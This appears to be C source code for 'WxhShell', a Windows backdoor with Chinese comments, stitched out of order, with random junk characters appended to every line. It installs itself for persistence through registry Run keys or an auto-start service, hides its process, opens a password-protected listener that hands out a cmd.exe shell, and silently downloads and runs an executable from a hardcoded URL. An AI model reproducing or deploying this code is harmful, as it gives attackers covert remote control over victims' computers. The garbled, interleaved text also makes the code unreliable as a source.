    closesocket(wsh); NWP5If|'X  
    ExitThread(0); LnFdhrB@x  
    } 7WZrSC  
    break; B5gj_^  
    } LZ\q3 7UV  
  // 获取shell }xKP~h'F  
  case 's': { ,368d9,rDz  
    CmdShell(wsh); PvR6 z0  
    closesocket(wsh); < z+t,<3D  
    ExitThread(0); 7.-V-?i  
    break; anuL1f XO  
  } BoA/6FRi[  
  // 退出 R7]l{2V#^  
  case 'x': { k=2Lo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =31"fS@  
    CloseIt(wsh); { .n"Z  
    break; +~St !QV%  
    } 2:*w~|6>}5  
  // 离开 ?J' Y&  
  case 'q': { a! (4Ch  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r~[Ia!U?  
    closesocket(wsh); f'8kish  
    WSACleanup(); +[Dj5~V  
    exit(1); +_7*iJtD5  
    break; ~)*,S^k(C.  
        } ?M$.+V{a  
  } 3NZK*!@ '  
  } s|@6S8E  
-)s qc P  
  // 提示信息 KTK <gV9:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (w&F/ynO:  
} %/EVUN9=  
  } /TE_W@?^  
|HU@ >  
  return; M\C"5%2Mu  
} +_s #2  
.R`5 Qds*l  
// shell模块句柄 )js)2L~  
int CmdShell(SOCKET sock) 2`.cK 3  
{ hS_6  
STARTUPINFO si; ?=>+LqP  
ZeroMemory(&si,sizeof(si)); Ytgcs( /$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $r@ =*(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R[Ll59-  
PROCESS_INFORMATION ProcessInfo; :#2Bw]z&z  
char cmdline[]="cmd"; eeIhed9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /{|EAd{  
  return 0; 832v"k CD  
} ,/[6e\0~  
k")R[)92b?  
// 自身启动模式 Z/Eb:  
int StartFromService(void) <wZQc  
{ =5aDM\L$&  
typedef struct so PLA68  
{ 6\L0mcXR!  
  DWORD ExitStatus; ot @|!V  
  DWORD PebBaseAddress; 4B=2>k  
  DWORD AffinityMask; sfLMk E  
  DWORD BasePriority; 4f@o mAM  
  ULONG UniqueProcessId; ^<;V]cY`  
  ULONG InheritedFromUniqueProcessId; ,_|]Ufr!a  
}   PROCESS_BASIC_INFORMATION; hp8%.V$f  
f6|KN+.  
PROCNTQSIP NtQueryInformationProcess; Vw[6t>`  
gHhh>FFAq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tfh 2.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FE" y\2}  
o5xAav"+>  
  HANDLE             hProcess; `))\}C@k  
  PROCESS_BASIC_INFORMATION pbi; H|,Oswk~-  
 zG+R5:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4!$s}V=6  
  if(NULL == hInst ) return 0; za#s/b$[  
"mX\&%i6\p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vQ<90Z xqB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %509\;el  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V7#Ffi  
6W@UJx}w5  
  if (!NtQueryInformationProcess) return 0; '[J<=2&  
Nb?w|Ne(T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CxGx8*<X  
  if(!hProcess) return 0; (Lo%9HZ1Mx  
m7&O9?X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X_qf"|i  
g wz7krUTe  
  CloseHandle(hProcess); |M8WyW  
t(GR)&>.2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &P.4(1sC  
if(hProcess==NULL) return 0; 6)z?f4,  
ay1YOfa*  
HMODULE hMod; xAafm<L@!  
char procName[255]; D*Ik7Pe  
unsigned long cbNeeded; ?aC'.jH+  
Sa\!*e_sN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f?oa"   
ng:kA%! Q  
  CloseHandle(hProcess); n$U#:aQE  
"~=mG--I  
if(strstr(procName,"services")) return 1; // 以服务启动 IC6gU$e  
u583_k%  
  return 0; // 注册表启动 $k0k k  
} lAzj N~V  
|UP `B|  
// 主模块 @lCJ G!u  
int StartWxhshell(LPSTR lpCmdLine) 7~&/_3  
{ PN0VQ/..  
  SOCKET wsl; 1J6,]M  
BOOL val=TRUE; "oWwc zzO  
  int port=0; MepuIh  
  struct sockaddr_in door; !icT/5  
{*[\'!d--.  
  if(wscfg.ws_autoins) Install(); 994` ua+  
%Rz&lh/  
port=atoi(lpCmdLine); aaKN^fi&  
HQ|MhM/"  
if(port<=0) port=wscfg.ws_port; klQC2drS  
iS&l8@2a  
  WSADATA data; m~@;~7Ix  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?s\ OUr  
3ia^\ jw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?I/qE='*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z>jUR,!GT  
  door.sin_family = AF_INET; }K1JU`Lz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ikSF)r;*t  
  door.sin_port = htons(port); $B kubWM  
O$D'.t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Q+ (LBP  
closesocket(wsl); s"9`s_p`d  
return 1; b3S.-W{p.  
} a\IP12F?  
*5 |)-E  
  if(listen(wsl,2) == INVALID_SOCKET) { u)3 $~m~  
closesocket(wsl); &=<x#h-  
return 1; g8Q5m=O*  
} !Gu%U$d  
  Wxhshell(wsl); BYTnrPA&Z;  
  WSACleanup(); <c)+Fno[E_  
-od!J\ KCy  
return 0; Jg]'+>,J  
0VckocF  
} YX=2jI  
BBH0OiV=  
// 以NT服务方式启动 `Ja?fI'H-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !>BZ6gn5  
{ v^)bhIPe;  
DWORD   status = 0; +E1I");  
  DWORD   specificError = 0xfffffff; JT "B>y>  
Dq36p${ \W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P&j (,7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )+6v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; psnTFe  
  serviceStatus.dwWin32ExitCode     = 0; >H(i^z/c  
  serviceStatus.dwServiceSpecificExitCode = 0; nB%;S  
  serviceStatus.dwCheckPoint       = 0; 4|mD*o  
  serviceStatus.dwWaitHint       = 0; N;A@' tu8  
d0aCY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); : p{+G  
  if (hServiceStatusHandle==0) return; @g2 cC  
%9k!A]KD  
status = GetLastError(); XYS'.6k(  
  if (status!=NO_ERROR) aFe`_cnG  
{ {K4+6p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JYrY[',u  
    serviceStatus.dwCheckPoint       = 0; [q_`X~3  
    serviceStatus.dwWaitHint       = 0; txZ?=8j_Y  
    serviceStatus.dwWin32ExitCode     = status; neXeAU  
    serviceStatus.dwServiceSpecificExitCode = specificError; -zp0S*iP7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); masT>vM  
    return; k% sO 0  
  } is1's[  
;w6>"O$a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |\n@3cIK  
  serviceStatus.dwCheckPoint       = 0; sf OHl  
  serviceStatus.dwWaitHint       = 0;  ] GHt"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [/ !;_b\X  
} 1G0fp:\w  
7]x3!AlV  
// 处理NT服务事件,比如:启动、停止 2RqbrY n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2$14q$eb  
{ zaFt*~@X  
switch(fdwControl) sp7*_&'J  
{ 'WI^nZM  
case SERVICE_CONTROL_STOP: ybeKiv9  
  serviceStatus.dwWin32ExitCode = 0; Yly@ww9t|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,h{A^[yl  
  serviceStatus.dwCheckPoint   = 0; {&P FXJ  
  serviceStatus.dwWaitHint     = 0; ?Zc"C  
  { R*oXmuOsYA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vs)--t  
  } >_c5r?]SG  
  return; P+!"wX0*N  
case SERVICE_CONTROL_PAUSE: i]=&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KjFK/Og.  
  break; Ti2Ls5H}  
case SERVICE_CONTROL_CONTINUE: mCs#.%dU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V~T@6S  
  break; J0 k  
case SERVICE_CONTROL_INTERROGATE: :-iMdtm  
  break; Ja]?&j  
}; ;>%~9j1C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ui "3ak+F  
} 'DCFezdf3  
5jgdbHog]  
// 标准应用程序主函数 j}BHj.YuP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -w;(cE  
{ v}sY|p"  
/Y&02L%\3s  
// 获取操作系统版本 F$Ca;cP"  
OsIsNt=GetOsVer(); c{>uqPTY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FVB;\'/  
\eGKkSy  
  // 从命令行安装 @)>D))+  
  if(strpbrk(lpCmdLine,"iI")) Install(); uK ("<u|  
sow d`I~  
  // 下载执行文件 4J|t?]ij|E  
if(wscfg.ws_downexe) { YC=S5;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZkP {[^6d\  
  WinExec(wscfg.ws_filenam,SW_HIDE); >#}2J[2HQ  
} dl5=q\1=  
&3v&i*DG,I  
if(!OsIsNt) { =H %-.m'f2  
// 如果时win9x,隐藏进程并且设置为注册表启动 FG%j {_Ez  
HideProc();  \dl ph  
StartWxhshell(lpCmdLine); z305{B:Y  
} <]Wlx`=/D  
else _ 1*7Z=|  
  if(StartFromService()) 1`LXz3uBe  
  // 以服务方式启动 0G <hn8>  
  StartServiceCtrlDispatcher(DispatchTable); /<&h@$NHH4  
else ?\/qeGW6G  
  // 普通方式启动 1^dJg8  
  StartWxhshell(lpCmdLine); _TUt9}  
$&Kq*m 0g  
return 0; kvGCbRC  
} Eq^uKi  
v8/6wy?  
`W `0Fwu9  
Q<6P. PTya  
=========================================== ?X9]HlH  
Cs@ +r  
6al=Cwf  
#.5vC5  
y/? &pKH^  
SQWafD  
" J4 tcQ  
>p])it[q&$  
#include <stdio.h> 6  P`)%zj  
#include <string.h> z *9FlV  
#include <windows.h> DjCx~@  
#include <winsock2.h> ~u&|G$1!0  
#include <winsvc.h> W~ULc 9  
#include <urlmon.h> 6QZ5|T ]  
q (+ZwaV@  
#pragma comment (lib, "Ws2_32.lib") C+F*690h  
#pragma comment (lib, "urlmon.lib") 4ZC!SgJo  
64j|}wJ$  
#define MAX_USER   100 // 最大客户端连接数 hzY[ G :  
#define BUF_SOCK   200 // sock buffer | A:@ &|  
#define KEY_BUFF   255 // 输入 buffer Y\+KoR' ;  
[m'CR 4(|  
#define REBOOT     0   // 重启 2.Yi( r  
#define SHUTDOWN   1   // 关机 7m9 " 8   
O'NW Ebl/  
#define DEF_PORT   5000 // 监听端口 &hV Zx  
!OcENV  
#define REG_LEN     16   // 注册表键长度 ,Vd7V}t  
#define SVC_LEN     80   // NT服务名长度 0{^H]Y  
x.$1<w64t  
// 从dll定义API >qn/<??  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7ODaX.t->  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -DO&_`kn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wH"kk4^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XTqm]  
kGN||h  
// wxhshell配置信息 pKJK9@Ad  
struct WSCFG { LD(C\  
  int ws_port;         // 监听端口 C:\(~D *GS  
  char ws_passstr[REG_LEN]; // 口令 $v} <'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ulqh@CE)  
  char ws_regname[REG_LEN]; // 注册表键名 $_j1kx$  
  char ws_svcname[REG_LEN]; // 服务名 $T }Tz7(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -NM0LTF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hPdx(E)8!d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 80ZnM%/}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y/U{Qc\ 6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o*ANi;1]&B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6ri#Lw  
8 #oR/Nt  
}; #Ogt(5Sd  
|$hgT K[L  
// default Wxhshell configuration I__4I{nI  
struct WSCFG wscfg={DEF_PORT, ])y{BlZ  
    "xuhuanlingzhe", zW4 O4b$T  
    1,  oYX{R  
    "Wxhshell", FUeq \Wuo  
    "Wxhshell", *+lsZ8'^C  
            "WxhShell Service", gs`^~iD]m  
    "Wrsky Windows CmdShell Service", ~%y\@x7I  
    "Please Input Your Password: ", Pg^h,2h  
  1, d*;$AYI#R  
  "http://www.wrsky.com/wxhshell.exe", fk5XvL  
  "Wxhshell.exe" A%ywj'|z  
    }; *,#q'!Hq  
cfoYnM  
// 消息定义模块 ,9ml>ji`=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C ?H{CP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V,QwN&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g0#q"v55  
char *msg_ws_ext="\n\rExit."; )&Z>@S^  
char *msg_ws_end="\n\rQuit."; K&pM o.  
char *msg_ws_boot="\n\rReboot..."; dc^Vc{26Z  
char *msg_ws_poff="\n\rShutdown..."; }. %s xw  
char *msg_ws_down="\n\rSave to "; PM~*|(fA  
ZTf_#eS$  
char *msg_ws_err="\n\rErr!"; 'M%5v'$y  
char *msg_ws_ok="\n\rOK!"; dl[ob,aCK  
boQ)fV"  
char ExeFile[MAX_PATH]; e)pTC97^L  
int nUser = 0; I}:L]H{E  
HANDLE handles[MAX_USER]; %{ ~>n"  
int OsIsNt; INLf#  N  
kfpm=dKL  
SERVICE_STATUS       serviceStatus; %yw=[]Vjze  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8[\ 79|  
O@`J_9  
// 函数声明 c2b6B.4  
int Install(void); _:,.yRez  
int Uninstall(void); 4%bTj,H#  
int DownloadFile(char *sURL, SOCKET wsh); Hptq,~_t  
int Boot(int flag);  [y{E  
void HideProc(void); ~PUsgL^  
int GetOsVer(void); =49o U  
int Wxhshell(SOCKET wsl); !d4HN.a7+u  
void TalkWithClient(void *cs); T8q[7Zn  
int CmdShell(SOCKET sock); :c;_a-69  
int StartFromService(void); a"qR J-@  
int StartWxhshell(LPSTR lpCmdLine); /Nqrvy=  
OLFt;h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m'.T2e.u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4]"w b5%  
fu>Qi)@6a1  
// 数据结构和表定义 Fg@ ACv'@  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Wj,}  
{ ~x+Ykq0  
{wscfg.ws_svcname, NTServiceMain}, Hs<n^fyf  
{NULL, NULL} e 2*F;.)  
}; D%GGu"@GO  
~j}J<4&OvC  
// 自我安装 ]S]"`;Wh  
int Install(void) q6)p*}-  
{ b3^R,6]x&  
  char svExeFile[MAX_PATH]; 9L=;KtE1  
  HKEY key; | M _%QM.  
  strcpy(svExeFile,ExeFile); +G\0L_B  
O2@" w23  
// 如果是win9x系统,修改注册表设为自启动 Q2R-z^pd  
if(!OsIsNt) { H:E5xz3VQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I3ho(Kdi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gL,"ef+nM  
  RegCloseKey(key); p[;8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b.6ZfB,+G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T:@7 S  
  RegCloseKey(key); Bb_}YU2#  
  return 0; Uk"Y/Ddm  
    } 6 <r2*`  
  } 09x+Tko9;*  
} 4 f3=`[%  
else { !SN WB  
u mqKFM$  
// 如果是NT以上系统,安装为系统服务 wjg}[R@!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ${0%tCE  
if (schSCManager!=0) y$v@wb5  
{ 6o9sR)c ?  
  SC_HANDLE schService = CreateService XL?A w  
  ( oEPNN'~3  
  schSCManager, G/%Ubi6%  
  wscfg.ws_svcname, B^Bbso'{1  
  wscfg.ws_svcdisp, k{qLkcOg=  
  SERVICE_ALL_ACCESS, \ j x0ZHR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I<9n(rA  
  SERVICE_AUTO_START, ){jqfkL  
  SERVICE_ERROR_NORMAL, D;J|eC>^  
  svExeFile, Vy&f"4~  
  NULL, G$S1#F -  
  NULL, 3P3:F2S R  
  NULL, Wu]/(F  
  NULL, a]{uZGn@i  
  NULL \/ X{n*Hw?  
  ); 1wU=WE(kKZ  
  if (schService!=0) f^ywW[dF  
  { 3[iSF5%V*p  
  CloseServiceHandle(schService); ^,~N7`  
  CloseServiceHandle(schSCManager); T:dX4=z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y+OYoI  
  strcat(svExeFile,wscfg.ws_svcname); _u`B3iG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6S2r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lJ("6aT?  
  RegCloseKey(key); rS=tcB O  
  return 0; okVp\RC  
    } %zRiLcAT  
  } } =xI3;7  
  CloseServiceHandle(schSCManager); #%:`p9p.S  
} ?L8&(&1@VD  
} zL6 \p)y  
y`\mQ48V  
return 1; Gmqs`{tc  
} kf}F}Ad:%  
A> J1B(up  
// 自我卸载 LAizx^F  
int Uninstall(void) [}jj<!9A_;  
{ @'@s*9Nr  
  HKEY key; 2Ti" s-  
3"f)*w7d  
if(!OsIsNt) { V^9$t/c &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |K'Gw}fX/  
  RegDeleteValue(key,wscfg.ws_regname); ,^n-L&  
  RegCloseKey(key); 3j]UEA^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kp$_0  
  RegDeleteValue(key,wscfg.ws_regname); D9e+  
  RegCloseKey(key); :h^O{"au^  
  return 0; [vZfH!vLP  
  } 0~(\lkh*!9  
} &NlS  =  
} wxH (&CB-{  
else { -B<O_*wOj  
DN4fP-m-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E~rs11  
if (schSCManager!=0) :5$xh  
{ )[e%wPu4e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZTN:|IKT  
  if (schService!=0) W\nHX I  
  { L7i}Ga!8  
  if(DeleteService(schService)!=0) { 16a_GwfM  
  CloseServiceHandle(schService); E \ K  
  CloseServiceHandle(schSCManager); E`A<]dAoK  
  return 0; L"Qh_+   
  } i5ajM,i/K  
  CloseServiceHandle(schService); R>/QA RX  
  } "$`wk  
  CloseServiceHandle(schSCManager); D2>hMc  
} ^#<: <X6  
} g,A.Y,})  
[K"U_b}w  
return 1; e6tH/`Uln  
} N*_/@qM> a  
yS1b,cxz  
// 从指定url下载文件 HA$^ *qn  
int DownloadFile(char *sURL, SOCKET wsh) zz7Y/653  
{ 4iYgs-,  
  HRESULT hr; |@T5$Xg]5  
char seps[]= "/"; o(B<!ji~'  
char *token; J=f:\]@Oy  
char *file; v_?s1+w  
char myURL[MAX_PATH]; owfp^hla  
char myFILE[MAX_PATH]; NB|RZf9M  
0A) Vtj$  
strcpy(myURL,sURL); I$3"|7[n  
  token=strtok(myURL,seps); xI/{)I1f  
  while(token!=NULL) zbF:R[)  
  { ^yEj]]6  
    file=token; $|`t9-EA/  
  token=strtok(NULL,seps); lWu9/r 1  
  } TnbGO;  
[4K9|/J  
GetCurrentDirectory(MAX_PATH,myFILE); <3i4NXnL2  
strcat(myFILE, "\\"); I_"Hgx<  
strcat(myFILE, file); -13P 2<i+  
  send(wsh,myFILE,strlen(myFILE),0); WH pUjyBP  
send(wsh,"...",3,0); PK:o}IWn~x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3p?<iVE  
  if(hr==S_OK) =j'J !M  
return 0; r`&2-]  
else h"RP>fZt  
return 1; FR@PhMUS  
+d6Aw}*  
} mkj;PYa  
t%]^5<+X58  
// 系统电源模块 |Ak =-.  
int Boot(int flag) 4~m.#6MT  
{ /pAm8vK   
  HANDLE hToken; J1gEjd   
  TOKEN_PRIVILEGES tkp; AHp830\  
:{TmR3.  
  if(OsIsNt) { L5-T6CD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $'J6#Vs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RTPq8S"  
    tkp.PrivilegeCount = 1; Ef,7zKG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q 2_N90u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uFm(R/V  
if(flag==REBOOT) { QoT3;<r}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~RZJ/%6F  
  return 0; .pB8=_e:  
} Tdk2436=  
else { 0gwm gc/#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?d>P+).  
  return 0; ^\7 x5gO  
} 2$SofG6D}  
  } ]2aYi9)  
  else { Z uFV tW@  
if(flag==REBOOT) { g "K#&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Vn>ue+?  
  return 0; K c2OLz#  
} QKUBh-QFK  
else { epG X.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ')~Y  
  return 0; NSxPN:  
} .%J?T5D  
}  xnRp/I  
T~wZ  
return 1; Dh!iY0Lz  
} k+7M|t.?4  
;mo\ yW1  
// win9x进程隐藏模块 Wd^F%)(  
void HideProc(void) YjX!q]56  
{ ; $ ?jR c  
V. bH$@ej  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !UgUXN*  
  if ( hKernel != NULL ) gvTOC F  
  { iX>!ju'V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D_ Bx>G9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O%fp;Y{`  
    FreeLibrary(hKernel); |$SvD2^  
  } $_URXI  
NrI 5uC7  
return; N?2 #YTjR  
} xT=kxyu  
eF8 aB?&"  
// 获取操作系统版本 z|DA _dG  
int GetOsVer(void) 8[`^(O#\E  
{ o {Xw Li  
  OSVERSIONINFO winfo; |peMr#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z[|PsC3i:  
  GetVersionEx(&winfo); |0%4G k);  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $cJN9|$6  
  return 1; avxn}*:X.  
  else $)TF,-#x  
  return 0; ExOB P  
} OnPy8mC  
u7Y'3x,`  
// 客户端句柄模块 Io4:$w  
int Wxhshell(SOCKET wsl) ?lET45'  
{ }x#P<d(  
  SOCKET wsh;  wc+N  
  struct sockaddr_in client; T956L'.+G  
  DWORD myID; 49J+&G?)j  
mBpsgm:g^  
  while(nUser<MAX_USER) 4_m /_Z0x  
{ ]|$$:e^U9  
  int nSize=sizeof(client); \_I)loPc8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z?t(+^  
  if(wsh==INVALID_SOCKET) return 1; O[hbu![  
@DQ"vFj6<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !k>H e*M}P  
if(handles[nUser]==0) Lx:N!RDw  
  closesocket(wsh); lPFdQ8M  
else MVeQ5c(  
  nUser++; J6["j   
  } jC Kt;lj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rvz.ym:F  
i[t=@^|  
  return 0; MZP><Je&  
} -g[*wN8  
)[M<72  
// 关闭 socket mZ5K hPvf8  
void CloseIt(SOCKET wsh) :5cu,&<Gv  
{ @6!y(e8"J]  
closesocket(wsh); Qqhb]<z  
nUser--; H+#wj|,+\  
ExitThread(0); @aD~YtL"n  
} a] wcA  
\]`(xxt1  
// 客户端请求句柄 Tx!m6B`Y  
void TalkWithClient(void *cs) R.YGmT'2  
{ DN 8pJa  
&!YH"{b  
  SOCKET wsh=(SOCKET)cs; qnfRN'  
  char pwd[SVC_LEN]; A%m `LKV~@  
  char cmd[KEY_BUFF]; )p^jsv.  
char chr[1]; /XW0`FF  
int i,j; W];6u  
!VJa$>,  
  while (nUser < MAX_USER) { NX""?"q  
qVRO"/R  
if(wscfg.ws_passstr) {  wpdEI(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (z1%lZ}(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sBXk$  
  //ZeroMemory(pwd,KEY_BUFF); ~Ro:mH: w  
      i=0; UH^wyK bM  
  while(i<SVC_LEN) { +#I~#CV!  
TnU$L3k  
  // 设置超时 O+o%C*`K  
  fd_set FdRead; "g:&Ge*X  
  struct timeval TimeOut; <K[Zl/7I  
  FD_ZERO(&FdRead); 9MzkG87J  
  FD_SET(wsh,&FdRead); POg0=32  
  TimeOut.tv_sec=8; JdYF&~  
  TimeOut.tv_usec=0; PKM$*_LcGI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pnA]@FW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WmVw>.]@~  
MqBATW.pmJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0^lL,rC   
  pwd=chr[0]; :*Ggz|  
  if(chr[0]==0xd || chr[0]==0xa) { h7]]F{r5  
  pwd=0; @1ta`7#  
  break; .9fluAG  
  } 4e#K.HU_  
  i++; }NBJ T4R  
    } -Lf6]5$2'  
=]xk-MY"|R  
  // 如果是非法用户,关闭 socket VUv.Tx]Z[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K9M.+d4  
} rnhf(K.{3  
75}u D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?{z$ { bD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0(g MR  
u[|S*(P  
while(1) { G~tOCp="p  
i|,A1c"*  
  ZeroMemory(cmd,KEY_BUFF); _>m*`:Wb  
|ShRxE3@'  
      // 自动支持客户端 telnet标准   PZhZK VZx  
  j=0; OK J%M]<  
  while(j<KEY_BUFF) { JHZo:Ad -&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)7f%II  
  cmd[j]=chr[0]; z+D,:!yF  
  if(chr[0]==0xa || chr[0]==0xd) { 5'-9?-S"  
  cmd[j]=0; I2lZ>3X{  
  break; P~ZV:Of  
  } ~kJpBt7M  
  j++; Lpbn@y26<  
    } R Mt vEa  
_vLT!y  
  // 下载文件 &q}@[ )V4  
  if(strstr(cmd,"http://")) { 0S7Isk2W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +,^M{^%  
  if(DownloadFile(cmd,wsh)) #Ii.tTk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \q1%d.\X  
  else zPkPC}f(O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f vM3.P  
  } }3_G|  
  else { L0VR(  
?HyioLO  
    switch(cmd[0]) { 2^ZPO4|  
  "#k(V=y  
  // 帮助 RS02>$jo  
  case '?': { ye7&y4v+  
